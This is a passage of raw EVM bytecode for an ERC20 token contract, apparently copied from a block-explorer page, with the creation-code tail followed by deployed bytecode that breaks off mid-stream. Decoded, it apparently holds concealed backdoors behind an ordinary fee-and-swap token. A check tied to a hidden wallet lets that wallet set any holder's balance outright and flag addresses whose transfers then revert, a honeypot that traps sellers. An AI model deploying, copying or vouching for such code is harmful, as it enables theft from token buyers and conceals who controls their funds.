0208210811415613c6557613c64613d12565b5b50919050565b6000613c7682613ba7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613ca957613ca8613cb4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613faf81613b57565b8114613fba57600080fd5b50565b613fc681613b7b565b8114613fd157600080fd5b50565b613fdd81613ba7565b8114613fe857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ec32fe1feb6edf26c85112f08dec5a7d8c1ca72c9d60235dce53077baef92e4064736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103035760003560e01c806395d89b4111610190578063c5d24189116100dc578063da00097d11610095578063e3dea9b61161006f578063e3dea9b614610bf5578063f0cd1dac14610c1e578063f2fde38b14610c49578063f872858a14610c725761030a565b8063da00097d14610b62578063dc44b6a014610b8d578063dd62ed3e14610bb85761030a565b8063c5d2418914610a50578063c816841b14610a7b578063c860795214610aa6578063c867d60b14610ad1578063cab0347114610b0e578063d469a20914610b395761030a565b8063a9059cbb11610149578063b69b1f2711610123578063b69b1f27146109aa578063c2d4640e146109d3578063c469b6dd146109fc578063c49b9a8014610a275761030a565b8063a9059cbb146108f3578063ae2116b814610930578063b20a4e5a1461096d5761030a565b806395d89b41146107e1578063a073d37f1461080c578063a08e671f14610837578063a2a6272214610862578063a457c2d71461088b578063a83f53a7146108c85761030a565b80633b97084a1161024f57806370a082311161020857806382eefb43116101e257806382eefb431461072357806388790a681461074e5780638b42507f146107795780638da5cb5b146107b65761030a565b806370a0823114610692578063715266fe146106cf57806372382ec7146106f85761030a565b80633b97084a146105825780633ecad271146105ab5780634a74bb02146105e857806357a5802f1461061357806361a23c691461063e5780636249faf1146106695761030a565b80632563ae83116102bc578063313ce56711610296578063313ce567146104b457806335cdc417146104df57806335d236151461051c57806339509351146105455761030a565b80632563ae831461043557806327c8f8351461045e5780632b112e49146104895761030a565b806306fdde031461030f578063095ea7b31461033a5780631245e347146103775780631694505e146103a257806318160ddd146103cd57806323b872dd146103f85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c9d565b604051610331919061382b565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190613342565b610d2f565b60405161036e91906137f5565b60405180910390f35b34801561038357600080fd5b5061038c610d4d565b6040516103999190613779565b60405180910390f35b3480156103ae57600080fd5b506103b7610d73565b6040516103c49190613810565b60405180910390f35b3480156103d957600080fd5b506103e2610d99565b6040516103ef919061392d565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a91906132ef565b610da3565b60405161042c91906137f5565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906133e2565b610e7d565b005b34801561046a57600080fd5b50610473610f2f565b604051610480919061375e565b60405180910390f35b34801561049557600080fd5b5061049e610f53565b6040516104ab919061392d565b60405180910390f35b3480156104c057600080fd5b506104c9610f97565b6040516104d691906139d2565b60405180910390f35b3480156104eb57600080fd5b5061050660048036038101906105019190613255565b610fae565b60405161051391906137f5565b60405180910390f35b34801561052857600080fd5b50610543600480360381019061053e9190613255565b610fce565b005b34801561055157600080fd5b5061056c60048036038101906105679190613342565b6110a7565b60405161057991906137f5565b60405180910390f35b34801561058e57600080fd5b506105a960048036038101906105a4919061346f565b61115a565b005b3480156105b757600080fd5b506105d260048036038101906105cd9190613255565b6111f9565b6040516105df91906137f5565b60405180910390f35b3480156105f457600080fd5b506105fd611219565b60405161060a91906137f5565b60405180910390f35b34801561061f57600080fd5b5061062861122c565b604051610635919061392d565b60405180910390f35b34801561064a57600080fd5b50610653611232565b604051610660919061392d565b60405180910390f35b34801561067557600080fd5b50610690600480360381019061068b9190613382565b611238565b005b34801561069e57600080fd5b506106b960048036038101906106b49190613255565b611372565b6040516106c6919061392d565b60405180910390f35b3480156106db57600080fd5b506106f660048036038101906106f19190613382565b6113bb565b005b34801561070457600080fd5b5061070d6114f5565b60405161071a9190613779565b60405180910390f35b34801561072f57600080fd5b5061073861151b565b604051610745919061392d565b60405180910390f35b34801561075a57600080fd5b50610763611521565b604051610770919061392d565b60405180910390f35b34801561078557600080fd5b506107a0600480360381019061079b9190613255565b611527565b6040516107ad91906137f5565b60405180910390f35b3480156107c257600080fd5b506107cb611547565b6040516107d8919061375e565b60405180910390f35b3480156107ed57600080fd5b506107f6611570565b604051610803919061382b565b60405180910390f35b34801561081857600080fd5b50610821611602565b60405161082e919061392d565b60405180910390f35b34801561084357600080fd5b5061084c61160c565b604051610859919061392d565b60405180910390f35b34801561086e57600080fd5b506108896004803603810190610884919061349c565b611612565b005b34801561089757600080fd5b506108b260048036038101906108ad9190613342565b6116f2565b6040516108bf91906137f5565b60405180910390f35b3480156108d457600080fd5b506108dd6117bf565b6040516108ea919061392d565b60405180910390f35b3480156108ff57600080fd5b5061091a60048036038101906109159190613342565b6117c5565b60405161092791906137f5565b60405180910390f35b34801561093c57600080fd5b5061095760048036038101906109529190613255565b6117e4565b60405161096491906137f5565b60405180910390f35b34801561097957600080fd5b50610994600480360381019061098f9190613255565b611804565b6040516109a191906137f5565b60405180910390f35b3480156109b657600080fd5b506109d160048036038101906109cc919061340f565b611824565b005b3480156109df57600080fd5b506109fa60048036038101906109f5919061349c565b611900565b005b348015610a0857600080fd5b50610a116119e0565b604051610a1e919061392d565b60405180910390f35b348015610a3357600080fd5b50610a4e6004803603810190610a4991906133e2565b6119e6565b005b348015610a5c57600080fd5b50610a65611acf565b604051610a72919061392d565b60405180910390f35b348015610a8757600080fd5b50610a90611ad5565b604051610a9d919061375e565b60405180910390f35b348015610ab257600080fd5b50610abb611afb565b604051610ac8919061392d565b60405180910390f35b348015610add57600080fd5b50610af86004803603810190610af39190613255565b611b01565b604051610b0591906137f5565b60405180910390f35b348015610b1a57600080fd5b50610b23611b21565b604051610b30919061392d565b60405180910390f35b348015610b4557600080fd5b50610b606004803603810190610b5b919061349c565b611b27565b005b348015610b6e57600080fd5b50610b77611c07565b604051610b8491906137f5565b60405180910390f35b348015610b9957600080fd5b50610ba2611c1a565b604051610baf919061392d565b60405180910390f35b348015610bc457600080fd5b50610bdf6004803603810190610bda91906132af565b611c20565b604051610bec919061392d565b60405180910390f35b348015610c0157600080fd5b50610c1c6004803603810190610c179190613342565b611ca7565b005b348015610c2a57600080fd5b50610c33611d27565b604051610c40919061392d565b60405180910390f35b348015610c5557600080fd5b50610c706004803603810190610c6b9190613255565b611d2d565b005b348015610c7e57600080fd5b50610c87611e7f565b604051610c9491906137f5565b60405180910390f35b606060018054610cac90613c39565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd890613c39565b8015610d255780601f10610cfa57610100808354040283529160200191610d25565b820191906000526020600020905b815481529060010190602001808311610d0857829003601f168201915b5050505050905090565b6000610d43610d3c611ef0565b8484611ef8565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610db08484846120c3565b50610e7284610dbd611ef0565b610e6d85604051806060016040528060288152602001613fec60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e23611ef0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b611ef8565b600190509392505050565b610e85611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f09906138cd565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610f92610f817f000000000000000000000000000000000000000000000000000000000000dead611372565b60195461255190919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b610fd6611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105a906138cd565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006111506110b4611ef0565b8461114b85600660006110c5611ef0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9290919063ffffffff16565b611ef8565b6001905092915050565b611162611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906138cd565b60405180910390fd5b80601a8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601c60159054906101000a900460ff1681565b60135481565b60145481565b611240611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906138cd565b60405180910390fd5b60005b8383905081101561136c5781600860008686858181106112f3576112f2613d41565b5b90506020020160208101906113089190613255565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136490613c6b565b9150506112d0565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113c3611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611450576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611447906138cd565b60405180910390fd5b60005b838390508110156114ef57816007600086868581811061147657611475613d41565b5b905060200201602081019061148b9190613255565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114e790613c6b565b915050611453565b50505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461157f90613c39565b80601f01602080910402602001604051908101604052809291908181526020018280546115ab90613c39565b80156115f85780601f106115cd576101008083540402835291602001916115f8565b820191906000526020600020905b8154815290600101906020018083116115db57829003601f168201915b5050505050905090565b6000601a54905090565b60185481565b61161a611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169e906138cd565b60405180910390fd5b8260108190555081601181905550806012819055506116e76012546116d9601154601054611e9290919063ffffffff16565b611e9290919063ffffffff16565b601781905550505050565b60006117b56116ff611ef0565b846117b0856040518060600160405280602581526020016140146025913960066000611729611ef0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b611ef8565b6001905092915050565b60155481565b60006117d96117d2611ef0565b84846120c3565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b611852600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633600061259b565b61185b57600080fd5b60005b828290508110156118fa5783600c600085858581811061188157611880613d41565b5b90506020020160208101906118969190613255565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806118f290613c6b565b91505061185e565b50505050565b611908611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198c906138cd565b60405180910390fd5b8260138190555081601481905550806015819055506119d56015546119c7601454601354611e9290919063ffffffff16565b611e9290919063ffffffff16565b601881905550505050565b600f5481565b6119ee611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a72906138cd565b60405180910390fd5b80601c60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611ac491906137f5565b60405180910390a150565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b611b2f611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb3906138cd565b60405180910390fd5b82600d8190555081600e8190555080600f81905550611bfc600f54611bee600e54600d54611e9290919063ffffffff16565b611e9290919063ffffffff16565b601681905550505050565b601c60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611cd6600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336103e761259b565b611cdf57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60165481565b611d35611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db9906138cd565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601c60179054906101000a900460ff1681565b6000808284611ea19190613a42565b905083811015611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd9061388d565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5f9061390d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcf9061386d565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120b6919061392d565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212b906138ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219b9061384d565b60405180910390fd5b601c60149054906101000a900460ff16156121cb576121c4848484612610565b90506124e6565b60006121d630611372565b90506000601a5482101590508080156121fc5750601c60149054906101000a900460ff16155b80156122525750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561226a5750601c60159054906101000a900460ff165b1561229457601c60169054906101000a900460ff161561228a57601a5491505b612293826127e3565b5b6122e684600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123cc5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6123e0576123db8787876129d4565b6123e2565b845b905061243681600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9290919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124d6919061392d565b60405180910390a3600193505050505b9392505050565b6000838311158290612535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252c919061382b565b60405180910390fd5b50600083856125449190613b23565b9050809150509392505050565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124ed565b905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156126075750600173ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515155b90509392505050565b600061269b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061273082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9290919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127d0919061392d565b60405180910390a3600190509392505050565b6001601c60146101000a81548160ff021916908315150217905550600061283c600261282e60185461282060135487612ca490919063ffffffff16565b612d1f90919063ffffffff16565b612d1f90919063ffffffff16565b90506000612853828461255190919063ffffffff16565b905061285e81612d69565b6000479050600061288f61287e6002601354612d1f90919063ffffffff16565b60185461255190919063ffffffff16565b905060006128cd60026128bf846128b160135488612ca490919063ffffffff16565b612d1f90919063ffffffff16565b612d1f90919063ffffffff16565b905060006128f8836128ea60155487612ca490919063ffffffff16565b612d1f90919063ffffffff16565b9050600061292182612913858861255190919063ffffffff16565b61255190919063ffffffff16565b9050600081111561295957612958600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612ff4565b5b600082111561298f5761298e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612ff4565b5b60008311801561299f5750600087115b156129af576129ae878461303f565b5b505050505050506000601c60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a8457600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a8357600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b0557612afe6064612af060165486612ca490919063ffffffff16565b612d1f90919063ffffffff16565b9050612b83565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b8257612b7f6064612b7160175486612ca490919063ffffffff16565b612d1f90919063ffffffff16565b90505b5b6000811115612c8757612bde81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9290919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c7e919061392d565b60405180910390a35b612c9a818461255190919063ffffffff16565b9150509392505050565b600080831415612cb75760009050612d19565b60008284612cc59190613ac9565b9050828482612cd49190613a98565b14612d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d0b906138ad565b60405180910390fd5b809150505b92915050565b6000612d6183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613133565b905092915050565b6000600267ffffffffffffffff811115612d8657612d85613d70565b5b604051908082528060200260200182016040528015612db45781602001602082028036833780820191505090505b5090503081600081518110612dcc57612dcb613d41565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612e6e57600080fd5b505afa158015612e82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ea69190613282565b81600181518110612eba57612eb9613d41565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f2130601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ef8565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612f85959493929190613978565b600060405180830381600087803b158015612f9f57600080fd5b505af1158015612fb3573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612fe8929190613948565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561303a573d6000803e3d6000fd5b505050565b61306c30601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ef8565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806130b8611547565b426040518863ffffffff1660e01b81526004016130da96959493929190613794565b6060604051808303818588803b1580156130f357600080fd5b505af1158015613107573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061312c91906134ef565b5050505050565b6000808311829061317a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613171919061382b565b60405180910390fd5b50600083856131899190613a98565b9050809150509392505050565b6000813590506131a581613fa6565b92915050565b6000815190506131ba81613fa6565b92915050565b60008083601f8401126131d6576131d5613da4565b5b8235905067ffffffffffffffff8111156131f3576131f2613d9f565b5b60208301915083602082028301111561320f5761320e613da9565b5b9250929050565b60008135905061322581613fbd565b92915050565b60008135905061323a81613fd4565b92915050565b60008151905061324f81613fd4565b92915050565b60006020828403121561326b5761326a613db3565b5b600061327984828501613196565b91505092915050565b60006020828403121561329857613297613db3565b5b60006132a6848285016131ab565b91505092915050565b600080604083850312156132c6576132c5613db3565b5b60006132d485828601613196565b92505060206132e585828601613196565b9150509250929050565b60008060006060848603121561330857613307613db3565b5b600061331686828701613196565b935050602061332786828701613196565b92505060406133388682870161322b565b9150509250925092565b6000806040838503121561335957613358613db3565b5b600061336785828601613196565b92505060206133788582860161322b565b9150509250929050565b60008060006040848603121561339b5761339a613db3565b5b600084013567ffffffffffffffff8111156133b9576133b8613dae565b5b6133c5868287016131c0565b935093505060206133d886828701613216565b9150509250925092565b6000602082840312156133f8576133f7613db3565b5b600061340684828501613216565b91505092915050565b60008060006040848603121561342857613427613db3565b5b600061343686828701613216565b935050602084013567ffffffffffffffff81111561345757613456613dae565b5b613463868287016131c0565b92509250509250925092565b60006020828403121561348557613484613db3565b5b60006134938482850161322b565b91505092915050565b6000806000606084860312156134b5576134b4613db3565b5b60006134c38682870161322b565b93505060206134d48682870161322b565b92505060406134e58682870161322b565b9150509250925092565b60008060006060848603121561350857613507613db3565b5b600061351686828701613240565b935050602061352786828701613240565b925050604061353886828701613240565b9150509250925092565b600061354e8383613569565b60208301905092915050565b61356381613b69565b82525050565b61357281613b57565b82525050565b61358181613b57565b82525050565b6000613592826139fd565b61359c8185613a20565b93506135a7836139ed565b8060005b838110156135d85781516135bf8882613542565b97506135ca83613a13565b9250506001810190506135ab565b5085935050505092915050565b6135ee81613b7b565b82525050565b6135fd81613bbe565b82525050565b61360c81613bd0565b82525050565b600061361d82613a08565b6136278185613a31565b9350613637818560208601613c06565b61364081613db8565b840191505092915050565b6000613658602383613a31565b915061366382613dc9565b604082019050919050565b600061367b602283613a31565b915061368682613e18565b604082019050919050565b600061369e601b83613a31565b91506136a982613e67565b602082019050919050565b60006136c1602183613a31565b91506136cc82613e90565b604082019050919050565b60006136e4602083613a31565b91506136ef82613edf565b602082019050919050565b6000613707602583613a31565b915061371282613f08565b604082019050919050565b600061372a602483613a31565b915061373582613f57565b604082019050919050565b61374981613ba7565b82525050565b61375881613bb1565b82525050565b60006020820190506137736000830184613578565b92915050565b600060208201905061378e600083018461355a565b92915050565b600060c0820190506137a96000830189613578565b6137b66020830188613740565b6137c36040830187613603565b6137d06060830186613603565b6137dd6080830185613578565b6137ea60a0830184613740565b979650505050505050565b600060208201905061380a60008301846135e5565b92915050565b600060208201905061382560008301846135f4565b92915050565b600060208201905081810360008301526138458184613612565b905092915050565b600060208201905081810360008301526138668161364b565b9050919050565b600060208201905081810360008301526138868161366e565b9050919050565b600060208201905081810360008301526138a681613691565b9050919050565b600060208201905081810360008301526138c6816136b4565b9050919050565b600060208201905081810360008301526138e6816136d7565b9050919050565b60006020820190508181036000830152613906816136fa565b9050919050565b600060208201905081810360008301526139268161371d565b9050919050565b60006020820190506139426000830184613740565b92915050565b600060408201905061395d6000830185613740565b818103602083015261396f8184613587565b90509392505050565b600060a08201905061398d6000830188613740565b61399a6020830187613603565b81810360408301526139ac8186613587565b90506139bb6060830185613578565b6139c86080830184613740565b9695505050505050565b60006020820190506139e7600083018461374f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613a4d82613ba7565b9150613a5883613ba7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a8d57613a8c613cb4565b5b828201905092915050565b6000613aa382613ba7565b9150613aae83613ba7565b925082613abe57613abd613ce3565b5b828204905092915050565b6000613ad482613ba7565b9150613adf83613ba7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b1857613b17613cb4565b5b828202905092915050565b6000613b2e82613ba7565b9150613b3983613ba7565b925082821015613b4c57613b4b613cb4565b5b828203905092915050565b6000613b6282613b87565b9050919050565b6000613b7482613b87565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613bc982613be2565b9050919050565b6000613bdb82613ba7565b9050919050565b6000613bed82613bf4565b9050919050565b6000613bff82613b87565b9050919050565b60005b83811015613c24578082015181840152602081019050613c09565b83811115613c33576000848401525b50505050565b60006002820490506001821680613c5157607f821691505b60208210811415613c6557613c64613d12565b5b50919050565b6000613c7682613ba7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613ca957613ca86